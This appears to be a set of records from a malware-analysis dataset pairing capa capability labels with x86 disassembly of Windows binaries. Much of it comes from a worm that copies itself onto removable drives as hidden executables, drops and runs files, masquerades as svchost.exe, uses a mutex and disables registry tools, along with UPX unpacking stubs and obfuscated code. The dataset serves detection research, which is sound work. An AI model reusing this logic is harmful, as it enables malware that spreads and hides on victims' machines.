joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10037473
Capabilities:
Get number of processors

Disassembly:
jmp 0x1002b794
call fcn.1002b77f
salc
arpl word [ebp - 0x79], cx
loop 0x1002b78a
adc eax, 0x24748b56
add al, 0x8d
mov dh, 0xd4
adc byte [edx], al
add byte [ecx + 0x5e042474], cl
push edx
mov dword [esp], ebp
push esp
pop ebp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 0x80
xchg dword [esp], ebp
pop esp
sub esp, 4
mov dword [esp], ebx
push edi
mov dword [esp], esi
push 0x188b
mov dword [esp], edi
jmp 0x100513b3
push ebx
mov ebx, 8
add ebx, ebp
mov eax, dword [ebx]
pop ebx
sub esp, 4
mov dword [esp], eax
jmp 0x1004a1dd
jmp 0x10036476
push 0
push 0x41797261
push 0x7262694c
push 0x64616f4c
lea ecx, [ebp - 0x2c]
sub esp, 4
mov dword [esp], ecx
jmp 0x10045856
push ecx
mov ecx, dword [esp + 4]
lea ecx, [ecx + 0x1983f]
mov dword [esp + 4], ecx
pop ecx
jmp 0x1004de32
jmp 0x1004586d
call fcn.10045858
adc byte [eax - 0x77], dl
loopne 0x1004587c
add al, 0
add byte [eax], al
add eax, 4
xchg dword [esp], eax
pop esp
rol byte [edi + eax*4], 4
and al, 0x5c
push eax
pop dword [ebp - 4]
push ecx
mov ecx, 0xc
add ecx, ebp
mov eax, dword [ecx]
pop ecx
push esi
mov dword [esp], eax
push dword [ebp - 4]
sub dword [esp], 0x3f8325ed
pop ecx
add ecx, 0x3f8325ed
push esi
mov dword [esp], ecx
push eax
mov eax, 8
add eax, ebp
mov edx, dword [eax]
pop eax
push eax
mov eax, 0x64
add edx, eax
pop eax
push ebx
mov dword [esp], edx
jmp 0x1002b77d
jmp 0x1004a1f4
call fcn.1004a1df
or eax, dword [ebp + 0x68]
mov byte [eax], 0
jmp 0x1002bbce
push esi
mov esi, 0x6114390f
xor esi, 0x61143917
mov eax, esi
pop esi
mov eax, dword fs:[eax]
push eax
pop dword [ebp - 4]
push dword [ebp - 4]
pop eax
push dword [eax + 0x30]
sub dword [esp], 0x63f80c4b
pop ecx
add ecx, 0x63f80c4b
push eax
mov eax, 0xfffffff8
add eax, ebp
mov dword [eax], ecx
pop eax
push dword [ebp - 8]
pop edx
push ecx
mov ecx, 8
add ecx, edx
mov eax, dword [ecx]
pop ecx
push edx
mov edx, 0xffffffec
add edx, ebp
mov dword [edx], eax
pop edx
push ebx
mov ebx, 0
mov dword [ebp - 0x10], ebx
pop ebx
cmp dword [ebp - 0x10], 0
je 0x1002c698
jmp 0x1002d265

Function at 0x100566f2
Capabilities:
Access peb ldr_data

Disassembly:
push eax
mov eax, dword [esp + 4]
lea eax, [eax - 0x4e23]
mov dword [esp + 4], eax
pop eax
jmp 0x10045a70

Function at 0x101d022c
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], ecx
cmp eax, 0x1000
lea ecx, [esp + 8]
jb 0x101d028a
jmp 0x101d0249
push ebx
mov ebx, 0x1000
sub ecx, ebx
pop ebx
push esi
mov esi, 0x42603735
add esi, 0x62b848ad
not esi
xor esi, 0xa3b2af6
xor esi, 0x5731f4a
shr esi, 4
xor esi, 0x55aeb5a
sub eax, esi
pop esi
test dword [ecx], eax
cmp eax, 0x1000
jae 0x101d0249
jmp 0x101d028a
sub ecx, 0x42861a21
sub ecx, eax
add ecx, 0x42861a21
push esp
pop eax
test dword [ecx], eax
mov esp, ecx
push dword [eax]
pop ecx
push dword [eax + 4]
xor dword [esp], 0x1d9f7243
pop eax
xor eax, 0x1d9f7243
push ecx
mov dword [esp], eax
ret
Function at 0x20400
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebp
push edi
push 0x21810
push eax
xor ebp, ebp
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
jne 0x20420
pop edi
pop ebp
ret
mov al, byte [edi + 0xc]
push esi
test al, 0x10
jne 0x2047a
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push 0x400
call sub.MFC42.DLL_operatornew
push edi
mov esi, eax
push 0x400
push 1
push esi
call ebx
add esp, 0x14
cmp eax, 1
jbe 0x2045f
lea ecx, [eax - 1]
xor edx, edx
mov dl, byte [esi]
add ebp, edx
inc esi
dec eax
dec ecx
jne 0x20451
cmp eax, 1
jne 0x20467
xor eax, eax
mov al, byte [esi]
add ebp, eax
push esi
call sub.MFC42.DLL_operatordelete
mov al, byte [edi + 0xc]
add esp, 4
test al, 0x10
je 0x2042f
pop ebx
jmp 0x2047e
mov esi, dword [esp + 0x10]
push esi
call sub.MFC42.DLL_operatordelete
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 8
mov eax, ebp
not eax
pop esi
pop edi
pop ebp
ret

Function at 0x204f0
Capabilities:
Get disk information

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov byte [esp + 0x14], bl
mov dword [esp + 0x15], ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
jmp 0x20513
mov eax, dword [esp + 0x10]
shr eax, 1
mov dword [esp + 0x10], eax
and eax, 1
cmp al, 1
jne 0x20588
lea eax, [ebx + 0x63]
lea ecx, [esp + 0x14]
push eax
push 0x21818
push ecx
call ebp
mov edi, 0x21814
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0x2057b
cmp eax, 3
je 0x2057b
cmp eax, 4
jne 0x20588
lea ecx, [esp + 0x14]
push ecx
call fcn.000206b0
add esp, 4
inc ebx
cmp ebx, 0x28
jl 0x2050f
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x205a0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov ecx, dword [esp + 4]
mov eax, dword [esp + 8]
push ebx
push esi
push edi
and ecx, 0xffff
push eax
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x205c5
pop edi
pop esi
pop ebx
ret
push edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
jne 0x205d8
pop edi
pop esi
pop ebx
ret
mov edx, dword [esp + 0x18]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
jne 0x205ff
pop edi
pop esi
pop ebx
ret
lea eax, [esp + 0x14]
push 0
push eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
push edi
call esi
pop edi
pop esi
mov eax, 1
pop ebx
ret
Function at 0x20630
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push ebx
push esi
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, str.ghosttem.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
push 0x2181c
push 0x82
rep movsb byte es:[edi], byte [esi]
call fcn.000205a0
add esp, 0xc
lea ecx, [esp + 0xc]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x206b0
Capabilities:
Copy file
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x20fa6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x234
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x135]
mov byte [esp + 0x134], 0
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x31]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x138]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x14]
call fcn.00020e22
mov ecx, dword [esp + 0x248]
mov dword [esp + 0x240], 0
push ecx
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString
push 0x21840
lea ecx, [esp + 8]
mov byte [esp + 0x244], 1
call sub.MFC42.DLL_CString::operator
mov edx, dword [esp + 4]
push 0
push edx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
je 0x20835
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CFileFind::FindNextFileA
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
call sub.MFC42.DLL_CFileFind::IsDots
test eax, eax
jne 0x20826
mov eax, dword [esp + 0x20]
push 0x10
lea ecx, [esp + 0x24]
call dword [eax + 0x40]
test eax, eax
je 0x20826
lea ecx, [esp + 0x1c]
push ecx
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CFileFind::GetFilePath
mov eax, dword [eax]
push 7
push eax
call esi
test eax, eax
lea ecx, [esp + 0x1c]
sete bl
call fcn.00020df8
test bl, bl
jne 0x20826
lea edx, [esp + 0x18]
lea ecx, [esp + 0x20]
push edx
call sub.MFC42.DLL_CFileFind::GetFilePath
mov eax, dword [eax]
push str..exe
push eax
lea ecx, [esp + 0x44]
push str._s_s
push ecx
call edi
add esp, 0x10
lea ecx, [esp + 0x18]
call fcn.00020df8
lea edx, [esp + 0x3c]
push 0x80
push edx
call esi
lea eax, [esp + 0x3c]
push 0
lea ecx, [esp + 0x144]
push eax
push ecx
call ebp
lea edx, [esp + 0x3c]
push 0x80
push edx
call esi
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x20779
pop esi
pop ebp
pop ebx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CFileFind::Close
lea ecx, [esp + 4]
mov byte [esp + 0x240], 0
call fcn.00020df8
lea ecx, [esp + 0x14]
mov dword [esp + 0x240], 0xffffffff
call sub.MFC42.DLL_CFileFind::CFileFind
mov ecx, dword [esp + 0x238]
pop edi
mov dword fs:[0], ecx
add esp, 0x240
ret
Function at 0x20880
Capabilities:
Get disk information

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
xor ebp, ebp
push edi
mov byte [esp + 0x14], 0
mov dword [esp + 0x15], ebp
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
cmp eax, ebp
mov dword [esp + 0x10], eax
je 0x2095b
cmp dword [esp + 0x24], 0x8000
jne 0x2095b
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, eax
and ecx, 1
cmp cl, 1
jne 0x20934
lea edx, [ebp + 0x43]
lea eax, [esp + 0x14]
push edx
push 0x21818
push eax
call ebx
mov edi, 0x21814
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x20930
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x2c]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x2094e
mov eax, dword [esp + 0x10]
shr eax, 1
inc ebp
mov dword [esp + 0x10], eax
cmp ebp, 0x28
jl 0x208b8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
lea edx, [esp + 0x14]
push edx
call fcn.000206b0
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
Function at 0x20ab0
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
sub esp, 0x14
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push esi
lea eax, [esp + 0xc]
push edi
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
mov dword [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x20b03
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0xc]
push 4
push ecx
push 4
push 0
push str.DisableRegistryTools
push edx
call esi
mov eax, dword [esp + 0x10]
push eax
call edi
lea ecx, [esp + 0x14]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push ecx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL
push 0x80000002
call ebx
test eax, eax
jne 0x20b47
lea edx, [esp + 0x10]
push 4
push edx
push 4
mov dword [esp + 0x1c], eax
push eax
mov eax, dword [esp + 0x28]
push str.CheckedValue
push eax
call esi
mov ecx, dword [esp + 0x18]
push ecx
call edi
lea edx, [esp + 0x1c]
mov dword [esp + 0x10], 2
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000001
call ebx
test eax, eax
pop ebx
jne 0x20b8a
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0xc]
push 4
push eax
push 4
push 0
push str.Hidden
push ecx
call esi
mov edx, dword [esp + 0x18]
push edx
call edi
lea eax, [esp + 0x1c]
mov dword [esp + 0xc], 1
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000001
call ebp
test eax, eax
jne 0x20bc4
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0xc]
push 4
push ecx
push 4
push eax
push str.HideFileExt
push edx
call esi
mov eax, dword [esp + 0x1c]
push eax
call edi
pop edi
pop esi
pop ebp
add esp, 0x14
ret
Function at 0x20bd0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Create thread
Get common file path
Set file attributes
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x20fd1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x31c
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push edi
lea eax, [esp + 0x228]
push 0x104
push eax
push 0
call ebp
lea ecx, [esp + 0x228]
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString
push 0x65
lea ecx, [esp + 0x18]
mov dword [esp + 0x338], 0
call sub.MFC42.DLL_CString::ReverseFind
add eax, 0xfffffffd
lea edx, [esp + 0x18]
push eax
push edx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Left
mov eax, dword [esp + 0x18]
mov ebx, 1
push eax
mov byte [esp + 0x338], bl
call fcn.000204d0
add esp, 4
test al, al
je 0x20cab
lea ecx, [esp + 0x18]
lea edx, [esp + 0x10]
push ecx
push str.explorer__n__root_
push edx
call sub.MFC42.DLL_operator_1
push 0x21974
push eax
lea eax, [esp + 0x24]
mov byte [esp + 0x33c], 2
push eax
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0x1c]
call fcn.00020df8
lea ecx, [esp + 0x10]
mov byte [esp + 0x334], bl
call fcn.00020df8
lea ecx, [esp + 0x20]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str._svchost.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x128]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0
call ebp
lea ecx, [esp + 0x124]
lea edx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x20d7f
lea eax, [esp + 0x20]
lea ecx, [esp + 0x124]
push eax
push ecx
call fcn.000204a0
add esp, 8
test eax, eax
jne 0x20d6a
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [esp + 0x20]
push 0x80
push edx
mov dword [esp + 0x18], eax
call esi
lea eax, [esp + 0x10]
push 2
push eax
push 0
lea ecx, [esp + 0x2c]
push 0
lea edx, [esp + 0x134]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
lea eax, [esp + 0x20]
push 7
push eax
call esi
lea ecx, [esp + 0x20]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.just_do
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x20dac
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00020630
push 0
push 0
push 0x209d0
call dword [sym.imp.MSVCRT.dll__beginthread]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
call fcn.00020ab0
call fcn.000204f0
push 0xea60
call esi
jmp 0x20dc9
Function at 0x41fe40
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x13000]
push edi
jmp 0x41fe5a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41fe61
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41fe50
mov eax, 1
add ebx, ebx
jne 0x41fe73
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41fe68
jne 0x41fe84
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41fe68
xor ecx, ecx
sub eax, 3
jb 0x41fe98
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41ff0a
mov ebp, eax
add ebx, ebx
jne 0x41fea3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41feb0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41fed4
inc ecx
add ebx, ebx
jne 0x41fec0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41feb5
jne 0x41fed1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41feb5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41fef4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41fee5
jmp 0x41fe56
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41fef4
add edi, ecx
jmp 0x41fe56
pop esi
mov edi, esi
mov ecx, 0x91a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41ff12
cmp byte [edi], 9
jne 0x41ff12
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41ff17
lea edi, [esi + 0x1d000]
mov eax, dword [edi]
or eax, eax
je 0x41ff8f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x20b0c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x20bec]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41ff44
mov ecx, edi
jns 0x41ff73
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x20bf4]
or eax, eax
je 0x41ff89
mov dword [ebx], eax
add ebx, 4
jmp 0x41ff61
call dword [esi + 0x20bf0]
mov ebp, dword [esi + 0x20bf8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41ffc3
sub esp, 0xffffff80
jmp 0x41382f
Function at 0x40fd20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xb000]
push edi
jmp 0x40fd3a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40fd41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40fd30
mov eax, 1
add ebx, ebx
jne 0x40fd53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40fd48
jne 0x40fd64
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40fd48
xor ecx, ecx
sub eax, 3
jb 0x40fd78
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40fdea
mov ebp, eax
add ebx, ebx
jne 0x40fd83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40fd90
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40fdb4
inc ecx
add ebx, ebx
jne 0x40fda0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40fd95
jne 0x40fdb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40fd95
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40fdd4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40fdc5
jmp 0x40fd36
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40fdd4
add edi, ecx
jmp 0x40fd36
pop esi
mov edi, esi
mov ecx, 0x20d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40fdf2
cmp byte [edi], 5
jne 0x40fdf2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40fdf7
lea edi, [esi + 0xd000]
mov eax, dword [edi]
or eax, eax
je 0x40fe66
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xf1b8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xf21c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40fe24
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xf220]
or eax, eax
je 0x40fe60
mov dword [ebx], eax
add ebx, 4
jmp 0x40fe41
call dword [esi + 0xf230]
mov ebp, dword [esi + 0xf224]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40fe9a
sub esp, 0xffffff80
jmp 0x401f4e
Function at 0x10004300
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x18]
push ebx
push ebp
mov ebp, dword [eax + 4]
mov eax, dword [eax]
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
push esi
push edi
mov dword [esp + 0x14], ebp
lea esi, [ecx + eax + 0x18]
mov dword [esp + 0x10], 0
jbe 0x100043f0
add esi, 0x10
mov eax, dword [esi]
test eax, eax
jne 0x10004383
mov edx, dword [esp + 0x24]
mov ebx, dword [edx + 0x38]
test ebx, ebx
jle 0x100043d2
mov eax, dword [esi - 4]
push 4
push 0x1000
push ebx
add eax, ebp
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x10004407
mov edi, dword [esi - 4]
add edi, ebp
test ebx, ebx
mov dword [esi - 8], edi
je 0x100043d2
mov ecx, ebx
mov edx, ecx
shr ecx, 2
xor eax, eax
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x100043d2
mov ecx, dword [esi + 4]
mov edx, dword [esp + 0x20]
add ecx, eax
cmp edx, ecx
jb 0x100043ff
mov edx, dword [esi - 4]
push 4
push 0x1000
push eax
add edx, ebp
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x10004407
mov eax, dword [esi - 4]
mov ecx, dword [esi + 4]
mov ebx, dword [esp + 0x1c]
mov edi, dword [esi]
add eax, ebp
add ecx, ebx
test edi, edi
jbe 0x100043cf
mov ebp, ecx
mov edx, eax
sub ebp, eax
mov cl, byte [edx + ebp]
mov byte [edx], cl
inc edx
dec edi
jne 0x100043c2
mov ebp, dword [esp + 0x14]
mov dword [esi - 8], eax
mov edx, dword [esp + 0x28]
mov ecx, dword [edx]
mov eax, dword [esp + 0x10]
movzx edx, word [ecx + 6]
inc eax
add esi, 0x28
cmp eax, edx
mov dword [esp + 0x10], eax
jl 0x10004332
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 8
ret 0x10
push 0xd
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 0x10